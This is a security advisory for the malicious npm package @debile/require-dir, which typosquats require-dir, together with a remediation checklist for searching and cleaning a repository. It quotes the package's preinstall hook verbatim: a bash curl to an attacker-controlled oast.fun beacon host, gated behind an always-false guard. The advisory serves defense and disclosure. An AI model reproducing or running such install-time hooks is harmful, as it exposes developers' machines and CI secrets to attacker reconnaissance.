MAL-2026-10654 Malicious code in @debile/require-dir (npm)
Malicious package
Published
MAL-2026-10654 is a malicious package: @debile/require-dir (npm). Every version was published to cause harm.
Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.
Reference: https://insights.sbomify.com/MAL-2026-10654/ (Markdown: https://insights.sbomify.com/MAL-2026-10654/index.md)
- Package
- @debile/require-dir
- Registry
- npm
What is MAL-2026-10654?
MAL-2026-10654 is a malicious package in @debile/require-dir, published on 15 Jul 2026.
Official description
Package @debile/require-dir republishes the code of the well-known require-dir package under a different scope. Its package.json preinstall script runs
bash -c 'if [[ 1 == 2 ]]; then curl https://xgtktsypnmotaeqmgvdmsn0l1hg0yewow.oast.fun; fi', which stages an Interactsh (oast.fun) out-of-band beacon in the install lifecycle. The curl is gated behind an always-false [[ 1 == 2 ]] guard, so no request is actually issued on install of this version, but the preinstall hook, the attacker-controlled OAST subdomain, and the scope-typosquat of a popular package (require-dir) together form a dependency-confusion / install-time recon probe. Flipping a single character in the guard converts the current release into a live install-time beacon to an attacker-controlled interaction server.What should I do about MAL-2026-10654?
Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.